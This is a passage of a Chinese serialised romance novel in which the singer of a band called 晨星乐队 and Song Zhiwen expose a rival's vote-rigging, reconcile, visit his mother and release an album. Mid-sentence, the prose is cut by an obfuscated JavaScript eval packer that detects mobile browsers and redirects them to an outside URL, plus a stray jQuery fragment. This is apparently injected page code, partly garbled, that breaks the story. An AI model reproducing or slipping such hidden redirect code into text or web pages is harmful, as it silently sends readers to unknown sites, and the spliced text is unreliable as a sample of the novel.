齐扬默不作声。 “有一件事情我想和你商量一下，以你的咖位如果现在签约乐悠娱乐，我保证给你一线艺人的待遇......” “涂老师——”齐扬打断了他的话，把手机展示给他看，“你忘了当初解约的事情吧？” “我也没想到他能问你们要天价违约金，我自己的钱都没追回来多少，后面不是给你们补偿了吗？” “那只是杯水车薪，你知道我们要还这笔债住了两年的地下室吗？”齐扬的双眼通红，碍于外面还在喝酒才克制住了。 “对不起......我知道现在说什么都没用了，对不起。”涂龙看起来又苍老了许多。 “涂老师，下次选合作对象记得看清楚。”齐扬勉强让自己笑了出来，“经过我的观察，我想我们还是不适合合作，再会了。” 他拉开门走了出去，留下涂龙一个人在原地叹气。 齐扬回到了热闹的宴会厅中央，吴衡见状立刻走了过去：“涂老师刚刚和你说什么了？去了那么久？” “没什么，寒暄叙叙旧而已。”齐扬面不改色，继续和各界的老板交流碰杯。 酒喝到酣畅处，各个老板领导开始抽烟猜拳，空气中充斥着熏人的烟草味。宋之雯觉得头昏脑胀，便拉开门到走廊上透透气。 突然不知道哪里伸出一只手，将她拉了过去，顿时周围的一切陷入了黑暗中。 “谁？”她警惕地问。 “是我。”低沉的声音在她耳边回响，她认出那是齐扬的声音。 “你来干什么？不怕被人看见？” 齐扬的脸猛地逼近，宋之雯能感受到扑面而来的滚烫气息，他似乎竭力克制地说着：“你忘了，你还欠我个人情，我说等决赛结束了再还。” 宋之雯抬起头，正面直视着他：“所以你想怎么还？” 他的脸埋在她的后颈：“我知道这么说你可能会生气，也知道你还没有完全原谅我，但是我还是想问一句，我们和好好不好？” 宋之雯的心跳得厉害，但她还是咬着嘴唇说了一句：“不。” “为什么？”齐扬一时间有些失神。 宋之雯抓住齐扬的肩膀，把他拉开，认真地看着他：“齐扬，经过这两年，我们都变了，我也不再是从前的我了，所以没法回到过去了。” 毕业的那天一直是她的坎，这么久了，她都没有跨过去。 没想到下一秒，她就被齐扬紧紧抱在怀中，硌得她肋骨生疼：“要怎么做，你才能原谅我？” 宋之雯有点呼吸不过来了，轻声说：“你先放开我。” “你不回答我，我就不放。” “齐扬。”宋之雯在他的耳边说道，“既然你当初离开是为了你的音乐梦想，那就拿出你做音乐的决心来。现在专辑没做出来，你又在这里和我纠缠不清，有什么资格说你热爱音乐？” “专辑是吧？好。”齐扬放开了她，用力地点头，“本来我想比赛完就闭关做的，既然这样我提前把它做出来。” “我要回去了，这么久没出现王姐要担心了，说不定还有什么事要交代我。”宋之雯推门走了出去。 她找了个洗手间，猛地往脸上泼了几把冷水，然后大口喘着气，才冷静下来。 齐扬真的是她唯一的变数，把她原本平静的人生搅了个天翻地覆。 庆功宴一直进行到凌晨才陆陆续续地散场，宋之雯回到宿舍后已经满是疲惫。但她发现项婉也没睡，似乎在专门等她：“数据反馈报告来了，飞花乐队的票数显示异常。” 宋之雯一下子清醒了，扑过去看她的电脑：“哪里异常了？给我看看。” “你看。”项婉指着电脑上的一条曲线，“飞花乐队的数据总是突然增长又回落，有好几个高峰，相比之下晨星乐队的曲线一直在稳步上升。” 宋之雯仔细看了看，飞花乐队的最高点是比晨星乐队高出了不知道多少。 她平定了一下心神：“你的数据分析方便发到网上吗？” 项婉犹豫了一下，还是答应了：“可以，不过为了保护我的安全，我得匿名发布，但我也很想还晨星乐队一个公平。” “谢谢你，项婉。”宋之雯冲过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028375|154747||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱住了她。 受这个数据的影响，宋之雯一直到后半夜才慢慢睡着，早晨的时候又被一个电话吵醒了：“你好，我们是公安局的，你上次的报案有结果了。” 宋之雯腾地一下坐了起来，听警方讲上次案件的嫌疑人已经全部抓获，当然于川肯定不可能让他们抓到。 她激动得声音都有点颤抖：“你们有微博吗？这个案件会在网上通报吗？” “会的，因为涉及到艺人，影响恶劣，案件的结果我们已经发布到网上了，并把那段视频发了出来。” “太好了。”宋之雯用手捂住了嘴，连声道谢，“谢谢你们。” 挂断了警察的电话，宋之雯又给王清妍打了一个，提醒她留意一下今天官方微博的状况。 她一骨碌爬起来，把项婉推醒：“项婉，上次的案件警方已经在网上通报了，你赶紧发帖，添一把火。” 项婉也立刻清醒了，马不停蹄地开始写帖子。 微博上齐扬的热搜已经爆掉了，很多人表示震惊，不敢想象光天化日之下还有殴打艺人这种事情发生。 《最强live》的官博已经沦陷了，每一条帖子底下都是谩骂。 他的粉丝更是满怀心疼，受了那么重的伤却一笔带过，本来有些看过节目就结束的也被虐成了死忠粉。 尽管凶手已经被抓获，但网上关于是谁指使的讨论却层出不穷，其中一些看似很有道理，实际上故弄玄虚的分析让人哭笑不得。 也有认真在分析的，比如论坛上的一个讨论“为什么飞花乐队比不过晨星乐队？”，底下的网友从资历、曲风、性格等各方面分析，总之一句话，晨星乐队年轻又有实力，让飞花乐队很没面子。 项婉选了这个讨论进行发帖，把自己制作的图表详尽地放了上去，来分析飞花乐队刷票的嫌疑。 帖子一经发出，立刻就被顶到了高赞的第一位。 网友1：我靠，雷神之锤啊，我早就觉得飞花乐队的票数很不正常了，被超过了又突然涨上去。 网友2：这个节骨眼被爆出来刷票，会不会打人事件和他们有关？ 网友3：刷票了还被超了，于川肯定心里不爽，你没看见颁奖他脸黑得跟炭一样。 更有大胆的网友直接去于川和他公司微博底下质问，不一会儿就多了好几万条留言，但他们始终装死不回应。 无独有偶，陆陆续续开始有所谓的“业内人士”爆料于川的一些行为，比如耍大牌、打压新人，职场性骚扰等。 神通广大的网友立刻翻到了宋之雯微博里的那张合照，当然宋之雯提前把自己的脸遮住了。 网友4：我靠，手直接明目张胆地搂着，呸，禽兽。 网友5：小姐姐好惨，被占便宜了还要假装微笑。 事情越闹越大，逼得于川不得不出来回应。 他先是诚挚地对着镜头道歉，说自己入行这么多年渐渐迷失了初心，鬼迷心窍做了很多错事，为了弥补会和公司解约，再也不出现在公众面前。 又过了一段时间，他又没了声响，有人说他逃到国外去了。 57. 第五十七章 真相 就在大家以为这件事就这么算了的时候，突然有一天警方发布了一个通报，说于川因为多项罪名被逮捕。 大家觉得大快人心的同时，也不禁感慨表面上德艺双馨的乐坛前辈竟然是塌房最厉害的那个，一些于川的粉丝也无比心碎。 这段时间面对舆论的风暴，晨星乐队都选择默不作声，其中有许多家包括郭卫的公司找上门来，要他们签约，齐扬都一一拒绝了。 倒是有几个合作，比如杨千帆、程云山等，齐扬先答应了下来。 等舆论平息了之后，晨星乐队开始着手为自己找经纪人，最终在郭卫的推荐下，锁定了带过许多一线艺人的南胜。 一行人约在了一间僻静茶楼的包厢，郭卫是和南胜一起来的，伏在齐扬耳边说道：“我好不容易把人请来的，你态度好一点。” 齐扬点点头，郭卫就出去了。 南胜五十多岁了，但一根白头发都没有，头发很时髦地往后梳成一个背头，带戴着金边眼镜，整个人神采奕奕，不输现在的男明星。 成员们谦逊地朝他点头：“南哥好。” “都是熟人，别紧张，坐吧。”南胜招呼他们坐下。 不一会儿上来了一壶上等的大红袍，齐扬很殷勤地给南胜倒上。 南胜抿了一口茶：“我听郭卫说你们现在想单干是吗？” “对的。”吴衡抢着回答。 他沉思了一会儿：“这有点难办啊，背靠大公司容易拿到资源，你们自己的这个小作坊很难，人家合作的时候也要考虑考虑。” “公司我们之前签过无忧娱乐，但感觉受限制太多了，搞乐队的个性南哥应该也懂一点，还是单干自由。”齐扬解释道。 “这样啊，我听说了。”南胜若有所思地点点头，“不过你们又重新出道了，以后想走什么样的发展路线，定位要明确。” 这时候何瑜开口了：“我们希望还是以歌为主，说实话这段时间比赛下来，对我们的关注有点太多了。” “其实这未尝不是件好事。”南胜露出了颇有深意的微笑，他上下扫视了一下齐扬，“尤其是主唱，形象非常好，如果走偶像路线一定能吸引很多女粉丝。” “不过有一个问题。”他继续补充，“你想走偶像路线的话最好不要谈恋爱，就像你在节目上说的那样心里有个白月光，维持一个深情人设，粉丝也比较买账。” “既然南哥都把话说到这份上了，我也没什么好隐瞒的了。”齐扬笑了，“我喜欢的女孩子我又遇到她了。” “哦？”南胜来了兴趣。 “两年前正是因为公司不让我谈恋爱，所以我错过了她，这次我说什么也不会错过了，不过......”齐扬不好意思地低头，“我还在追，还没追到手。” “你可要想清楚了，如果想走实力派路线，专辑的质量就要过硬。”南胜拿手指头叩了叩桌子，“不然单靠你这张脸粉丝可能还买张，出些烂歌乐迷可不买账。” “这点南哥你放心，我们对待音乐的态度很虔诚的，绝对不敷衍。”韦峰拍胸脯保证。 “还有你啊，如果以后谈恋爱了低调点，你毕竟年轻，还在上升期。”南胜好心提醒。 齐扬受用地点头：“谢谢南哥。” “行，既然今天大家都在场，我们就签个协议吧，郭卫推荐的乐队果然是有点实力的。”南胜把几份文件放在了他们的面前，“专辑我已经联系好公司了，几个月的时间，慢慢做，保证精品。” 成员们都喜不自胜，在文件上大笔一挥签下了自己的名字。 大家的干劲很足，回去立刻马不停蹄地开工。 专辑初定的建构是分为四个乐章，每个乐章代表一个季节，大约三首歌，最后由齐扬这个线人把它们串起来。 各个章节都以任务的方式委派下去，由不同的成员负责，也对应着他们各自的性格。 齐扬正做着编曲，忽然来了灵感，摘下耳机对其他成员说道：“我有个想法，既然是四季，我们能不能录点大自然的声音放进去？” “你开玩笑的吧？”吴衡一向心直口快，“现在是夏天，如果我们要录冬季暴风雪的声音，是不是还得专门跑到南极去？” “我没说一定要跑那么远，你可以上班的路上拿个录音设备录一些嘛，比如鸟鸣、蝉鸣。” “也就是说我要专门摆台录音机，拿个话筒对着他们？那路过的大爷大妈当我神经病呢。” “吴衡！”何瑜瞪了他一眼。 “不用非要录真实的声音嘛。”韦峰提议，“现在不是有拟音师吗？一些比较困难的声音模拟也可以。” “这个建议我赞同。”叶琛也加入了进来，“既然是第一张专辑，肯定要精益求精，这个想法是好的，也比较有创意，如果能实现音乐的听感也会好。” “那你和南哥商量一下吧，有没有专门的人能帮我们弄这个东西。”面对一对多的局势，吴衡败下阵来。 “我在考虑开头做个引子，再各个乐章之间加点纯音乐过渡一下，最后再来个收尾，不过这些你们就不用操心了，我来做。”齐扬重新戴上了耳机。 做专辑摩擦是常有的事，不过成员们也都习惯了。 宋之雯自从节目结束之后，终于能有精力放在学业上对付期末考，她加班加点地把论文赶了出来，顺便完成了开题报告。 时间转瞬即逝，E大的专硕一共就两年，这已经过去一半了。 林嘉和已经毕业开始找工作，最终留在了B市的外文电视台当记者。 入职那天他专门请宋之雯吃了一顿饭，大倒苦水，说现在三班倒，基本上没有假期，可能过年也不能回去，还得经常跑外勤。 不过这也是自己的选择，痛并快乐着。他又补充了一句。 宋之雯看着他踌躇满志的样子，更加坚定了自己的选择。 暑假回家之前，她接到了何瑜的一个电话，问她有没有兴趣出来喝过下午茶。 算起来她和瑜姐也有两个月没见面了，自从节目结束之后他们乐队就闭关做专辑，只有偶尔在微博上发发物料。惹得嗷嗷待补的粉丝吐槽他们不按常理出牌。 宋之雯怕打扰到他们，也没敢多聊天，这回便欣然应允。 店是瑜姐选的，在一个不为人知的小巷子里，店里的桌椅全都采用木质结构，上面还带着木头的 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“那就好。”何瑜的脸上露出一丝欣慰，“不过我要提醒你，B市的房价可不便宜，我到现在都买不起。” 宋之雯一边捂嘴笑一边狡黠地看着她：“瑜姐今天叫我来就是为了跟我聊天的吗？” “哎，被你发现了。”何瑜坐直了身体，模样开始正经了起来，“其实我今天来还想和你说点事。” “哦？” “齐扬的事。” 宋之雯的心漏了一拍。 “我知道......”何瑜叹了口气，“毕业那天一直是你心里的一根刺，因为这个你一直记恨齐扬。” 宋之雯打断了她：“我们别再说这个了吧？都过去了。” “不，有些真相我还是要说，你就当我为他在说话吧，其实齐扬对你内心一直是自卑的。” “自卑？”宋之雯不可置信。 “他曾经和我说过，觉得我们这种搞艺术的，和你们这种好学生不是一路人，所以没准离开是好事情。”何瑜卡壳了一下才继续说，“只是没有想到对你造成了那么大的伤害，也没想到你那么有决心，能一个人来B市。” “确实不是一路人，节目结束了我们也结束了。”宋之雯拿手臂抱在胸前。 “还有一点，当时我们被涂龙这个老头子哄骗签了无忧娱乐，那里面有霸王条款，艺人不能谈恋爱，如果造成舆论影响了就要给公司钱。” “还能这样？”宋之雯小声吐槽，“还好倒闭了。” “但齐扬一直在关注着你的动态，你做课题、考研究生，拿了优秀毕业生，他都知道，包括那个学姐，也是他听我说了你的情况，自己去联系的。” 这回宋之雯坐不住了，差点扶着椅子站起来：“学姐是他介绍的？” “对，当时他听说你的状态不好很担心你，因此托了好多自己的朋友打听有没有从汉语言跨考传媒的，找到后又叫我不要告诉你，说你不用知道这些。” 宋之雯的声音开始颤抖：“那他现在怎么样了？” 58. 第五十八章 照料 何瑜平静地说道：“他为了早点把专辑做出来，整晚都在熬夜，最近身体吃不消，发烧了。” 宋之雯张了张嘴，犹豫地说道：“我......能去看看他吗？” “可以，我带你去吧。”何瑜站起来，“看来我今天说的话还是有效果的。” 宋之雯把剩下的咖啡一饮而尽，感觉索然无味。 一路上她的脑子都乱成了一锅粥，没办法思考。原来齐扬背地里做了这么多，可是他从来都不说，她也怨恨齐扬一直把话闷在心里，什么都不说。 何瑜拉着她打车到了一个创业园区，这里绿化好而且安静，新建的大楼被分成一格一格，里面都是满怀梦想的年轻人。 晨星乐队的工作室在单独的一幢小房子，外面用颜料画着很有艺术感的缩写以及logo。 何瑜刷卡打开了门，走到最里面的一间房间。齐扬正盖着被子躺在折叠床上，背对着他们。 何瑜敲了敲窗户：“你猜猜我把谁带来了？” “不用猜也知道。”齐扬有气无力地回答，“你干嘛要把她带来？” “如果不是我从中帮助一下，你们还要较劲多久？”何瑜叉着腰，不满地看着他，“行了，人我给你带来了，剩下的你自己看着办。” 何瑜拍了拍宋之雯的肩膀：“你来照顾他吧。”说完就走了。 没办法，宋之雯只好走过去，用手试了一下齐扬的额头温度，吓了一跳：“这么烫。” “不行，你得量一□□温。”她翻箱倒柜地找体温计，塞到了齐扬的嘴里。 三十八度多。 “不行，你得去医院打吊针。”宋之雯说着就要拖齐扬起来。 “我不去医院。”齐扬无力地挣开她的手。 宋之雯以为他是怕被别人看到，耐心地劝解：“生病是人之常情，大家不会打扰你的，你要是怕误会，让吴衡韦峰叶琛陪你去。” “我只是不想去医院而已。”齐扬掀起了眼皮又闭上。 宋之雯笑了，像哄小孩子一样哄道：“那吃点药好不好？” 齐扬点点头。 她倒了点温水，把药放在手心里喂给齐扬，齐扬乖乖地吞下了。 宋之雯又让外卖送来了退热贴，贴在齐扬的额头上，对他说道：“行，你躺着吧，有什么需要叫我。” 她正要出去，却感觉手一下子被拉住了，紧接着是齐扬恳求的目光：“别走。” “行，我不走，我就在这。”宋之雯搬了把凳子坐在齐扬旁边，心想怎么生病还生出小孩脾气来了。 她看着齐扬的睡颜，脸颊通红却睡得很安稳，便托着头看他：“你啊，好好一个人偏偏有嘴不会解释，让人误会。” 这时齐扬淡淡地说了一句：“你也知道啊。” 宋之雯浑身一震，差点跳起来：“原来你没睡，你在诈我。” 下一秒，她就被拥入一个滚烫的怀抱，齐扬的头贴着她的后颈，让她浑身的温度也升高。 “宋之雯......”他哑着嗓子说道，“我们和好吧。” 宋之雯的心跳得厉害，轻轻地“嗯”了一声。 齐扬把她抱得更紧了。 “你现在还在发烧。”宋之雯从他的怀抱里挣脱出来，扶他躺下，“你应该好好休息。” “你就在这里陪我。”齐扬的命令有些强硬。 “好。”宋之雯笑了，看着他，“睡吧。” 齐扬又把眼睛闭上了。 宋之雯又找了一张折叠床，一块毯子，在他旁边躺下了。 然而她睡得并不安稳，半夜齐扬似乎出了很多汗，正要爬起来的时候惊动了宋之雯，她拿来了热毛巾，又为他更换了退热贴。 就这样折腾到了早上，齐扬的热度退下去了不少。 宋之雯叫来了粥和小菜，放到他面前：“有点胃口了吗？吃一点吧，这是菜肉粥，有营养。” 齐扬点点头，拿起勺子，拌着榨菜吃。 阳光透过窗户，照在他苍白的脸上，嘴唇似乎红润了点，人也有了生气。 宋之雯的心里忽然生出一种感觉，这样真像过日子，要是时间能静止在这一刻多好。 齐扬吃了半碗粥，就放下勺子说吃不下了。 宋之雯也不勉强，收拾了碗筷，看到齐扬正要起来，又硬生生把他按了回去：“我们都和好了，没必要这么拼命了，把身体搞坏了怎么办。” 齐扬：“我上个厕所。” 宋之雯尴尬地背过身去，偷偷笑了起来。 也对，他们还有很多时间。 齐扬的身体不到一周的时间就恢复了，又开始做新专辑的收尾工作，概念照发布的那天，他请宋之雯来他的工作室听一听。 此时正是周末，工作室里空无一人，在经历了几个月日夜颠倒的生活之后，吴衡这群人巴不得好好睡个大觉。 齐扬正坐在一架立式钢琴前，这是他们决赛之后才添的宝贝，因此格外珍惜。 他看见宋之雯进来了，招招手让她过来。 宋之雯坐下的时候，他一把把她揽了过去：“坐近点。” 齐扬的手指在琴键上飞快地跳跃，一串串的音符随意组合，宋之雯从他的琴声里听到了很多东西，有鸟语花香，有夏日的烈焰，秋日的私语和冬日的寂静。 演奏结束了，齐扬偏着头问她：“这是我为专辑写的曲子，你感觉怎么样？” 宋之雯托着头仔细思考了一下才说：“我怎么感觉有些旋律有点熟悉呢？就像......你在给我的专辑里写的那样？” “对了。”齐扬打了个响指，“那张专辑虽然没有发表，但是可以作为我的素材库，每次没有灵感的时候就听一听。” “自己抄自己呗。”宋之雯吐了吐舌头。 “这话可不对，任何旋律都可以变换组合成新的旋律。”齐扬靠在钢琴上看着她，“会弹琴吗？” “我......我只会弹《小星星》。”宋之雯不好意思地说。 “试试。”齐扬鼓励着她。 宋之雯小心地把食指放在了琴键上，按响了第一个音，紧接着再用中指无名指按响其他音。 她弹完正想收回手的时候，忽然听见一阵复杂的旋律从旁边传出。 “......”这道题超纲了。 “这是莫扎特的《小星星变奏曲》。”齐扬边弹边说道，“所以你 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“唔......”宋之雯觉得有些猝不及防，但齐扬的另一只手却搂上了她的腰，让她更贴向自己。 齐扬的舌尖碰了碰宋之雯的牙齿，轻声说道：“张开。” 宋之雯乖乖地张开嘴。 他应该是嚼过口香糖，带有一股清新的柠檬味，舌尖交织带来的酥麻感让宋之雯的全身不禁战栗了一下。 光盘此时戛然而止，只剩下了接吻的缠绵声。 然而齐扬的手还不老实，亲着亲着就慢慢从她的腰往上滑，往她的胸上探去。 宋之雯一把把他的手打掉，红着脸说道：“送我回学校吧。” 齐扬叹了口气，无奈地说：“好。” 他带宋之雯去了地下车库，发动了车子，两人一路上无话。 “你没事吧？”宋之雯试探着问了一句，看看他有没有生气。 “没事，你不想就尊重你。”齐扬淡淡地回答。 宋之雯这才放下心来。 车很快开到了学校，齐扬解开安全带，侧身到了宋之雯的座位上：“等我把歌录完，我们一起回去。” “好。”宋之雯点头，“你赶紧走，万一被人看到了就不好了。” “再亲一下。”他很无礼地要求。 宋之雯只好抬头在他的嘴唇上啄了一下，然后拉开了车门和他挥挥手：“我走啦，拜拜。” 很奇怪谈了恋爱之后，明明分开没多久，已经开始想念。 七月中旬，专辑的歌正式录制完毕，接下来就交给唱片公司进入了紧张的后期制作当中，所有的乐队成员也难得有了一个短暂的假期。 齐扬给宋之雯发了条消息：“我想带你回我家，见见我妈。” 宋之雯有点惊讶：“这么快。” “你很早之前不是问过我的家庭状况吗？我觉得那时候告诉你还不合适，现在我们都在一起了，有些事情你有必要知道。” 宋之雯答应了下来。 两个人的城市距离不远，为了避嫌，他们分开出发到机场，前后装作不认识，下了飞机之后，才由人派车接他们到了齐扬的家里。 59. 第五十九章 反对 在路上的时候，宋之雯总算搞明白了齐扬家里怎么回事。 齐扬的父亲齐晖和母亲凌兰从大学时候就在一起了，当时齐晖是学生会会长，凌兰是文娱部部长，两人既是工作上的绝佳搭档，又是令人羡慕的神仙眷侣。 大学毕业后，齐晖抓住了电子产品发展的热潮，创立了辉耀集团，专做高端芯片，连续几年赚得盆满钵满，成为学校创业的典范。 在事业有成之际，他向凌兰求了婚，许诺以后她不用工作，想干什么就干什么，于是凌兰心安理得地当起了家庭主妇。 这样幸福的生活持续了大概十年，但自从齐扬上初中之后，凌兰发现齐晖回家的次数越来越少。 一开始她还安慰自己是公司工作太忙了，直到有一天她往齐晖的办公室里打电话，那头是一个陌生女人的声音。 凌兰双手颤抖地挂掉了电话，女人的直觉让她很清楚地意识到发生了什么。 她也和齐晖哭过闹过，齐晖一开始都是答应多陪陪孩子，然而过年的时候却继续不回家，生活费倒是照寄。 凌兰也曾想过离婚，但她悲哀地发现，她这些年光顾着做美容和旅游，已经和社会脱节很久了。 于是日子只能这么不咸不淡地过着。 关于齐扬的专业选择方面，凌兰本来没有想让他走专业道路的。尽管齐晖学生时代也弹吉他组乐队，并靠这一招追来了凌兰，但那仅仅是爱好而已。 只是齐扬看清了齐晖的面目之后，便决定要走一条和他完全相反的道路，因此坚持要艺考。 凌兰实在拗不过他，便想了个折中的办法，艺考可以，但还是找个985、211，以后好找工作。 齐扬答应了。 而齐晖知道齐扬去艺考了之后，大发雷霆，并从此不管他了。 在众人的遗憾声中，齐扬放弃了A大的录取，来到了C大。 随着年级的升高，他越来越坚定了以后要做音乐的想法。在比赛之前，他曾给凌兰打过一个电话，把他真实的想法告诉了她。 凌兰知道他人大了拦不住，只撂下了一句话，你想做什么事情就坐吧。 听完了这段往事，宋之雯一直低着头，一言不发。 齐扬察觉到了她情绪的低落，轻声说道：“你放心，既然我愿意把这段往事讲出来，就说明我不会让这段往事重演，如果子女还重走父辈走过的路，不是太糟糕了吗？” “齐扬。”宋之雯抬起头，“我不会因为你家的事对你抱有偏见，我只是为你妈妈感到难过。” 齐扬心中一动：“正好我也好久没回去了，我们一起去看看她。” 齐扬家在城市中心的花园别墅，虽然地处闹市区，但却有隔绝喧嚣的安静。门前用木栅栏围成了一个小花圃，里面各色的花盛放，可见主人的用心。 来开门的凌兰用一根簪子随意地挽着一个髻，一身墨绿色的旗袍，显出姣好的身线。 宋之雯很有礼貌地叫了一声“阿姨好”。 “齐扬以前从来没有带女孩子回过家，快进来。”凌兰笑容满面地把他们迎进屋。 此时正值饭点，桌上已经摆了一大桌的菜，散发着诱人的香气。 “我不太会做饭，所以大部分还是方姨做的，我就做了这一道。”凌兰有点不好意思地指了指几块有点焦的炸鱼。 “我记得你上一次做饭还是给我煮方便面呢。”齐扬接了一句。 “你女朋友还在这儿呢，维护一下我的形象好吗？”凌兰用胳膊肘顶了一下他，“吃饭。” 宋之雯坐了下来，尝了一口炸鱼，惊叹道：“很好吃，阿姨你很有做饭的天赋。” “真的？偷偷练习了好久呢。”凌兰眼睛都笑弯了。 吃过晚饭，凌兰又领着宋之雯到了书房，把齐扬从小到大的照片翻出来给她看。其中一张是高中齐扬在舞台上表演的，虽然只穿了校服，却依旧掩饰不住帅气，宋之雯终于明白为什么那么多女生迷他了。 看完照片，宋之雯又对凌兰一柜子的化妆品表现出了浓厚的兴趣。于是凌兰如数家珍地介绍她的宝贝，还送给了宋之雯一瓶水乳和几片面膜。 齐扬惊愕地看着她们，感叹女生之间果然是有话题聊。 凌兰一直拉着宋之雯聊到很晚，并坚持要宋之雯住一晚上，第二天再由齐扬送回去。 宋之雯百般推辞，凌兰却不由分说地给她收拾了一间客房出来。 这件客房应该是好久没人住了，屋内没什么陈设，床和床头柜的设计都有些过时，但上面的被单却洗得干干净净。 宋之雯正准备铺开被子睡觉，却感觉一个人影快速闪进了她的房内，随后又轻声把门关上。 她皱着眉头看着齐扬：“你怎么来了？不怕你妈发现吗？” “发现又怎样？我妈可比我懂得多了。”齐扬慢慢地靠近了她，把她抵在墙上。 宋之雯被挤得很不舒服，反问道：“你想干嘛？” “我是想说......”齐扬的声音软了下来，“我替我妈谢谢你，她好久都没和人说过这么多的话，也没这么高兴过了。” 宋之雯偏过头，笑得意味不明：“你既然想感谢，为什么要用这样的姿势？别闹了，快去睡觉。” “亲一下再睡。” “这是你家。”宋之雯提醒他。 “我的家我说了算。” “放开我。”宋之雯努力挣脱他的怀抱。 “我就不放。”齐扬像个耍无赖的孩子。 无奈之下，宋之雯只好踮起脚，吻上他的嘴唇。 她瞬间被齐扬炙热的呼吸包裹了，身上也变得滚烫，胸前的针织衫扣子也不知道什么时候开了几颗。 宋之雯红了脸，低下头扣上扣子，把齐扬硬推了出去：“给我回去睡觉。” 齐扬像吃饱了一样一脸满足，朝她摆了摆手：“晚安。” 宋之雯气结，但又拿他没办法。 第二天早上宋之雯睡了个自然醒，吃过早饭之后，便和凌兰告别。 齐扬去拿车钥匙的时候，凌兰偷偷凑在他耳边说：“宋之雯是个好姑娘，要好好珍惜。” “这点我比你再清楚不过了。”齐扬朝她晃了晃手里的钥匙，“我走了啊，妈。” 齐扬 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“我不。”宋之雯站了起来，不满地盯着她。 于爱丽也火了：“行，你现在长大了，自己有主意了，我管不了你了，吃了苦头别回头怪我没提醒你。” 紧接着就是重重的摔门的声音。 宋岩峰听到动静赶紧下楼来，对宋之雯使了个眼色：“你刚回来累了吧？先好好休息，我来劝劝她。” 后面她就听到了一系列的比如“孩子大了，谈朋友我们管不着”的说辞。 宋之雯走进自己的房间，瘫在床上，感觉无比疲惫。 这时候齐扬发来了一条消息：“你到家了吗？” 宋之雯回了一个“嗯”，完了她又补充一句：“我妈知道我们的事了。” “那她怎么说？” “还能怎么说？不同意。”宋之雯干脆地回复。 对面静止了了一会儿，只剩下正在输入的标识。 过了一会儿齐扬才回复完整的一句：“我知道别人的想法很难改变，但没事，我们有很多时间去慢慢改变她。” 宋之雯看到这句话，心里不禁有点触动：“谢谢你，齐扬。” “等你过完暑假见。”每次都是齐扬结束这段对话。 宋之雯以前自己过暑假的时候，总觉得很短暂，不一会儿就要开学了。这会儿有了男朋友，才发现度日如年，每天都要打电话。 学校一发可以回宿舍的通知，她就拎着行李箱急不可耐地回了学校。 此时《四季和我》专辑的概念大片也在网上发布，一共被分为了五宫格。第一格吴衡身着草绿花纹的西装在森林中寻觅，第二格何瑜一身红裙在海边弹键盘，第三格韦峰穿着土黄色的工装服在采集落叶标本，第四格吴衡一身灰色大衣，在仰头迎接雪花。 而中间那格的齐扬则身披黑色大衣，作为一个信使把春夏秋冬四季都串联了起来。 这个富有创意的宣传片很快就引爆了网络。 60. 第六十章 余念 粉丝们都在评论区哀嚎，催着什么时候出正式版专辑，别人的商演都一个接一个了，晨星乐队还在家抠脚。 工作室趁热打铁，率先发布了专辑里的第一支单曲《冬眠》。这是一首带有古典音乐元素的抒情歌，尤其是齐扬的钢琴伴奏，就和落雪一样沉静。 这首歌上线的当天，播放量很快就破了百万，荣登各大音乐软件新歌榜第一位。 之后的一周内，工作室又发布了三支新单曲，一首比一首破纪录。 九月份的时候，专辑正式发行，线上线下同步发售，不到一个小时实体专的销量就破万。 唱片公司的老板喜笑颜开，给了晨星乐队不少提成，还安排了之后的巡演计划。 结果之后的抢票又引发了一波混战。 @透心凉，齐飞扬：乐队的各位成员们，你们是不是对自己的人气有什么误解？开这么小的livehouse，根本抢不到。 @一闪一闪亮晶晶：支持楼上，直接体育馆开起来吧。 @手可摘星辰：不不不，体育场才行，只要敢想没有什么不可能的。 为此晨星乐队给出的回复是livehouse才是乐队的初心，他们还是想从小的场地锻炼起来，再过渡到大的场地。 齐扬忙着巡演的功夫，宋之雯也回到了校园，同时告诉了舒青竹自己和齐扬在一起的事。 舒青竹发来了一个“？”，并开始一通电话狂轰滥炸：“我靠，你们什么时候在一起的？” “两个月之前。” “在一起两个月了你都不告诉我？！”舒青竹当场炸毛。 “我这不是想等稳定点了再告诉你吗？”宋之雯不好意思地解释。 “行吧，这个理由我还算勉强接受。”舒青竹气鼓鼓地继续说道，“我记得你不是和我说不会再喜欢齐扬了吗？怎么回事？” 宋之雯叹了口气，停顿了一会儿才低声和她说道：“我后悔了。” “就知道你留着他的专辑没好事。”舒青竹“呸”了一声，“见色忘义的女人。” 宋之雯不得不承认，齐扬的男色是诱人，把她都给迷惑了。 见她没有反应，舒青竹又问了一句：“他现在怎么样？有没有对你动手动脚的？” “在一起之前和刚在一起时他都挺尊重我的，我说不愿意就不动了。我们目前也只进行到接吻，只是难免有的时候会上手。” “你还想更进一步啊？”舒青竹火都要窜上天了。 “没有没有。”宋之雯慌忙解释，“我觉得太快了。” “禽兽。”舒青竹把后槽牙咬得咯咯响，“建议你别惯着，该骂的时候骂，该上手的时候就打。” “好。”宋之雯哑然失笑，“别气，我知道你是为我好。” “我现在都想冲到B市去砍人了，早知道当初不带你排社团了，造孽啊。” “事情没你想的那么糟糕，我从瑜姐那里知道了齐扬主动离开的，因为他觉得我就该安稳地过日子，不要像他一样。” “但你还是喜欢折腾。” “是啊，不过发现还挺有意思的。”宋之雯长舒了一口气，“我也看清了自己的内心，我还是喜欢他。” 舒青竹沉默了一会儿，无奈地说道：“行吧，我知道你做的决定是不会改变的，你自己觉得好就行。” “目前他挺安分的，工作都和乐队呆在一起，下了班就回出租屋，也没什么社交。” “觉得不好就立刻分手啊。”舒青竹特别强调了这一句。 “知道了。”宋之雯哄了舒青竹好久，她才肯挂断电话。 不过很快秋季招聘的忙碌就将她淹没了，让她没有心思想齐扬身边到底有谁的问题。 宋之雯把目标主要定在了香橙视频，虽然她有实习经历，但其他有经验的毕业生也不少，竞争异常激烈。 经过一轮又一轮的笔试面试，最终宋之雯凭借着出色的表现获得了香橙视频的offer。 